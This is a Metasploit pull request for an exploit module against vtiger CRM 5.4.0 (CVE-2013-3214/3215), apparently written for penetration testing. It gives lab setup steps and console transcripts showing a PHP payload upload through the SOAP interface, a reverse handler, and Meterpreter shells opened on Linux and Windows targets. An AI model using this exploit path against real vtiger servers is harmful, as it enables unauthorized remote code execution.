rapid7/metasploit-framework — pull request #2820 by jvazquez-r7 (2014-01-02 17:26:32+00:00)
Title: Add module for CVE-2013-3214, CVE-2013-3215

Tested with vtiger CRM 5.4.0 on Windows 2003 SP2 and Ubuntu 10.0.4. Info about how to test in both OSes is included.

Verification on Linux
---------------------

- [ ] Download and install Vtiger CRM 5.4.0 http://sourceforge.net/projects/vtigercrm/files/vtiger%20CRM%205.4.0/Core%20Product/vtigercrm-5.4.0.tar.gz/download
- [ ] Modifying your php.ini file is the easiest way to make the SOAP interface to work: Add the vtiger install dir to the include_path. For example:

```
include_path = ".:/var/www/vtigercrm"
```

- [ ] Reload / Restart apache to have into account the php configuration change.

- [ ] use the exploit to get a session (check can use to detect if your soap interface is really available and vulnerable)

```
msf > use exploit/multi/http/vtiger_soap_upload
msf exploit(vtiger_soap_upload) > show options

Module options (exploit/multi/http/vtiger_soap_upload):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 80 yes The target port
TARGETURI /vtigercrm/ yes Base vTiger CRM directory path
VHOST no HTTP server virtual host

Exploit target:

Id Name
-- ----
0 vTigerCRM v5.4.0

msf exploit(vtiger_soap_upload) > set rhost 192.168.172.133
rhost => 192.168.172.133
msf exploit(vtiger_soap_upload) > check
[+] The target is vulnerable.
msf exploit(vtiger_soap_upload) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.133:80 - Uploading payload...
[+] 192.168.172.133:80 - Upload successfully uploaded
[*] 192.168.172.133:80 - Executing payload...
[*] Sending stage (39848 bytes) to 192.168.172.133
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.133:49587) at 2014-01-02 11:20:38 -0600
[+] Deleted WwuBmyiXquzIrZt.php

^C[-] Exploit failed: Interrupt

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 i686
Meterpreter : php/php
meterpreter > pwd
/var/www/vtigercrm/soap
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.133 - Meterpreter session 1 closed. Reason: User exit
msf exploit(vtiger_soap_upload) >
```

Verification on Windows
-----------------------

- [ ] Download and install Vtiger CRM 5.4.0 http://sourceforge.net/projects/vtigercrm/files/vtiger%20CRM%205.4.0/Core%20Product/vtigercrm-5.4.0.exe/download
- [ ] Modifying the php.ini file is the easiest way to make the SOAP interface to work. By default you need to modify C:\Program Files\vtigercrm-5.4.0\php.ini. Add the vtiger install dir to the include_path, by default:

```
include_path = ".;C:\Program Files\vtigercrm-5.4.0\apache\htdocs\vtigerCRM"
```
- [ ] Restart the vTiger to be sure the new php configuration applies

- [ ] use the exploit to get a session (check can use to detect if your soap interface is really available and vulnerable). On the sample the default options for the windows install are used:

```
msf exploit(vtiger_soap_upload) > set rhost 192.168.172.136
rhost => 192.168.172.136
msf exploit(vtiger_soap_upload) > set rport 8888
rport => 8888
msf exploit(vtiger_soap_upload) > set TARGETURI /
TARGETURI => /
msf exploit(vtiger_soap_upload) > check
[+] The target is vulnerable.
msf exploit(vtiger_soap_upload) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.136:8888 - Uploading payload...
[+] 192.168.172.136:8888 - Upload successfully uploaded
[*] 192.168.172.136:8888 - Executing payload...
[*] Sending stage (39848 bytes) to 192.168.172.136
[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.136:2631) at 2014-01-02 11:24:18 -0600
[+] Deleted zmxLprRAcSXnWie.php

^C[-] Exploit failed: Interrupt

meterpreter > getuid
Server username: SYSTEM (0)
meterpreter > sysinfo
eComputer : JUAN-6ED9DB6CA8
OS : Windows NT JUAN-6ED9DB6CA8 5.2 build 3790
Meterpreter : php/php
meterpreter > pwd
eC:\Program Files\vtigercrm-5.4.0\apache\htdocs\vtigerCRM\soap
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.136 - Meterpreter session 2 closed. Reason: User exit
msf exploit(vtiger_soap_upload) >
```